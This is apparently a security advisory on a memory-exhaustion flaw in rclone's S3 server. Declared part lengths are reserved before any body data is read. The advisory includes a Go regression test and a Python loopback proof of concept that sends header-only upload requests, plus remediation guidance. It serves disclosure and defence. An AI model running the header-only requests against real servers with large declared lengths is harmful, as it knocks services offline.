GHSA-2p48-j3qc-rx9f

## Summary

In streamed multipart mode, `serve s3` passes the request's declared part length to `multipart.NewRW().Reserve(contentLength)` before reading any part data. `Reserve` immediately obtains enough 1 MiB pool pages for the entire declared length. The request handler therefore allocates attacker-selected memory based only on `Content-Length` or `X-Amz-Decoded-Content-Length`; the client does not need to transmit the corresponding body.

`--multipart-streaming-buffer-limit` does not stop the allocation for the current expected part or for one oversized part when the buffer is empty. That exception is intentional to guarantee upload progress, and the flag's short help is scoped to out-of-order parts; this report therefore does not treat the option as a total memory cap. The security issue is the absence of a separate safe maximum or incremental allocation: a small request header can cause an arbitrarily large reservation and exhaust the process or host.

The default S3 configuration allows anonymous access when no `auth_key` is set, so an unauthenticated network client can reach the path in such deployments. Authenticated deployments require a valid S3 credential. Confirmed affected targets are `v1.75.0` and development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`, both of which include streamed multipart support.

## Affected Assets & Attack Surface

- `cmd/serve/s3/s3.go:40-46` defines the streaming buffer limit and describes it as a limit for out-of-order parts. - `cmd/serve/s3/server.go:67-101` permits anonymous requests when `AuthKey` is empty and configures S3 authentication otherwise. - `cmd/serve/s3/multipart.go:183-209` admits the declared part size and calls `Reserve(contentLength)` before `io.Copy` reads the body. - `cmd/serve/s3/multipart.go:220-238` always admits the current expected part and one oversized part when the buffer is empty, even when `size > bufferLimit`. - `lib/multipart/multipart.go:23-24` creates an RW backed by the global memory pool. - `lib/pool/reader_writer.go:64-76` rounds the declared length to pool pages and immediately calls `GetN`. - `lib/pool/pool.go:18-23` sets the global pool page size to 1 MiB. - `lib/pool/pool.go:223-260` allocates every requested page in `GetN`. - `github.com/rclone/gofakes3@v0.0.7/gofakes3.go:952-1004` parses the request length without an upper bound, including the decoded-length header used for streaming signatures. - `github.com/rclone/gofakes3@v0.0.7/gofakes3.go:1021-1023` passes the declared length and unread request body to rclone's streaming `UploadPart` implementation. - Network attack surface: S3 `CreateMultipartUpload` followed by `UploadPart` against a backend eligible for streamed multipart uploads.

## Technical Root Cause Analysis

The admission counter and the allocator both use the attacker-controlled `contentLength`, while the admission rules allow the current part regardless of its size:

```go if up.bufferLimit <= 0 || partNumber <= up.nextPart || up.buffered == 0 || up.buffered+size <= up.bufferLimit { up.buffered += size return nil } ```

Part 1 of a new upload satisfies both `partNumber <= up.nextPart` and `up.buffered == 0`, regardless of size. `UploadPart` then executes:

```go rw := multipart.NewRW().Reserve(contentLength) ```

`Reserve` calculates the page count and calls `pool.GetN`. With the default global pool, `GetN` allocates a 1 MiB byte slice for every missing page. This occurs before `io.Copy` attempts to read the request body.

The HTTP layer does not independently cap a multipart part length. GoFakeS3 accepts `Content-Length` as an `int64`; signed streaming requests can replace it with `X-Amz-Decoded-Content-Length`. An attacker can send the headers and keep the body idle, retaining the reservation. Multiple uploads or connections multiply the effect.

The documented statement that memory is bounded by “parts in flight” is not an effective byte bound when one part can have an attacker-declared size and is fully preallocated. AWS's normal 5 GiB maximum part size would still be unsafe to reserve on most rclone hosts, and this dependency path does not enforce that maximum before allocation.

Setting the global `--max-buffer-memory` may change the symptom from allocation to waiting on the global semaphore. It is not a complete fix: the acquisition uses `context.Background()`, and a request larger than the semaphore capacity cannot ever acquire its requested weight, leaving a handler blocked until process termination.

## Proof of Concept & Evidence

### Bounded regression test

The following test proves both the limit bypass and immediate allocation without stressing the host. Add it as `cmd/serve/s3/security_regression_test.go`:

```go package s3

import ( "testing"

"github.com/rclone/rclone/lib/multipart" "github.com/rclone/rclone/lib/pool" "github.com/stretchr/testify/require" )

func TestOversizedCurrentPartReservation(t *testing.T) { const ( limit = int64(1 << 20) // 1 MiB configured limit size = int64(16 << 20) // 16 MiB attacker declaration )

up := newMultipartUpload( "bucket", "object", "bucket/object", "bucket/object", nil, limit, )

require.NoError(t, up.waitForTurn(1, size)) require.Equal(t, size, up.buffered)

before := pool.Global().InUse() rw := multipart.NewRW().Reserve(size) t.Cleanup(func() { require.NoError(t, rw.Close()) }) after := pool.Global().InUse()

require.GreaterOrEqual(t, after-before, int(size/int64(pool.BufferSize)), ) } ```

Run:

```sh go test ./cmd/serve/s3 -run '^TestOversizedCurrentPartReservation$' -count=1 -v ```

Observed against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:

```text === RUN TestOversizedCurrentPartReservation --- PASS: TestOversizedCurrentPartReservation (0.00s) PASS ```

The passing test means a 16 MiB current part is admitted against a 1 MiB limit and immediately consumes at least sixteen 1 MiB pool pages.

### Loopback HTTP validation

Use a fresh process and a disposable root. The 64 MiB value below demonstrates the effect safely; do not substitute an out-of-memory value on a production host.

```sh mkdir -p /tmp/rclone-s3-root/bucket

./rclone serve s3 /tmp/rclone-s3-root \ --addr 127.0.0.1:8080 \ --multipart-streaming-buffer-limit 1Mi ```

In another terminal:

```sh python3 - <<'PY' import http.client import socket import time import xml.etree.ElementTree as ET from urllib.parse import quote

host = "127.0.0.1" port = 8080

# Anonymous mode is intentional here and matches a supported default setup. c = http.client.HTTPConnection(host, port, timeout=5) c.request("POST", "/bucket/object?uploads", body=b"", headers={"Content-Length": "0"}) r = c.getresponse() body = r.read() assert r.status == 200, (r.status, body) upload_id = ET.fromstring(body).findtext("{*}UploadId") assert upload_id c.close()

declared = 64 * 1024 * 1024 path = "/bucket/object?partNumber=1&uploadId=" + quote(upload_id, safe="")

s = socket.create_connection((host, port), timeout=5) s.sendall(( f"PUT {path} HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" f"Content-Length: {declared}\r\n" "Connection: close\r\n" "\r\n" ).encode("ascii"))

# No body bytes are sent. Inspect the fresh rclone process while this waits: # the handler has reserved 64 pool pages despite the 1 MiB reorder limit. time.sleep(5) s.close() PY ```

Closing the socket allows the handler to return `IncompleteBody` and release the pages. Keeping multiple sockets open retains multiple reservations. A sufficiently large declared length can terminate the process before a response is returned.

The final automated validation performed this sequence through the real HTTP listener rather than calling `waitForTurn` or `Reserve` directly:

- Started an anonymous `serve s3` server on loopback with a local streaming-capable backend. - Set `MultipartStreamingBufferLimit` to 1 MiB. - Created a multipart upload with an HTTP `POST` and parsed its returned upload ID. - Recorded `pool.Global().InUse()` after upload creation. - Opened a raw TCP connection and sent an `UploadPart` request declaring `Content-Length: 16777216`. - Sent no request-body bytes. - Observed the in-use count increase by at least sixteen 1 MiB pages while the connection remained open. - Closed the connection, producing the expected short-body `unexpected EOF` log rather than completing an upload.

The central assertion was:

```go const declared = int64(16 << 20) baseline := pool.Global().InUse()

connection, err := net.DialTimeout("tcp", server.Addr().String(), 5*time.Second) require.NoError(t, err) _, err = fmt.Fprintf(connection, "PUT %s HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n", partPath, server.Addr().String(), declared) require.NoError(t, err)

wantPages := int(declared / int64(pool.BufferSize)) require.Eventually(t, func() bool { return pool.Global().InUse()-baseline >= wantPages }, 5*time.Second, 10*time.Millisecond) ```

It passed on Windows/amd64 with Go 1.26.2:

```text === RUN TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody NOTICE: serve s3: No auth provided so allowing anonymous access ERROR : serve s3: unexpected EOF --- PASS: TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody (0.06s) ```

This demonstrates network reachability, header-only amplification, admission beyond the configured 1 MiB reorder limit, and actual allocation. The test deliberately capped the reservation at 16 MiB; it did not attempt to exhaust the validation host. The same code path reserves pages linearly as the declared length increases.

## Impact Assessment

A network client can force the S3 server to reserve memory proportional to an unverified request header before paying the bandwidth cost of sending the declared body. One large part can exceed the out-of-order buffering limit; concurrent uploads multiply memory consumption.

The directly observed primitive is memory reservation proportional to an unverified header before any body bytes arrive. At a sufficiently large declared length, or across concurrent requests, this can exhaust process or host memory, terminate the process, or permanently block request goroutines when the global memory semaphore cannot satisfy an oversized acquisition. Those outcomes cause loss of S3 service availability; no confidentiality or integrity impact is required.

Unauthenticated exploitation applies when the operator uses the documented anonymous S3 mode. With `auth_key`, the attacker must possess an accepted key. Binding to loopback or a trusted management network removes untrusted network reachability but does not correct the resource-accounting defect.

## Remediation Guidance

Do not reserve the declared content length before reading verified bytes. Separate the current in-order part from out-of-order buffering:

- For `partNumber == nextPart`, stream the request body directly into the upload pipe while computing MD5. This path does not need a full-part memory buffer merely to return the ETag after the body has streamed. - For out-of-order parts, allocate incrementally as body bytes arrive and charge each page against the per-upload budget before allocation. Apply backpressure, spool to a bounded temporary file, or reject the request when the budget is exhausted. - Remove `Reserve(contentLength)` from the untrusted HTTP path. If preallocation remains as an optimization, cap it to a small trusted amount and grow only after bytes are received and accounted. - Enforce an explicit maximum part size before allocation, including both `Content-Length` and `X-Amz-Decoded-Content-Length`. Match the intended S3 compatibility limit and return an S3-compatible error such as `EntityTooLarge` or `InvalidRequest`. - Reject negative, overflowing, or platform-`int`-unrepresentable page counts before arithmetic or conversion. - Apply a total server-wide budget across uploads in addition to the per-upload reorder budget. The budget acquisition must use the request context and must fail immediately when a single request exceeds capacity; do not wait forever on `context.Background()` for an impossible weight. - Limit concurrent multipart uploads and idle request-body time so a client cannot retain reservations indefinitely. - Reconcile the option documentation with the actual guarantee. If one part can exceed the reorder limit for compatibility, state that explicitly, but still enforce an independent safe maximum or incremental allocation.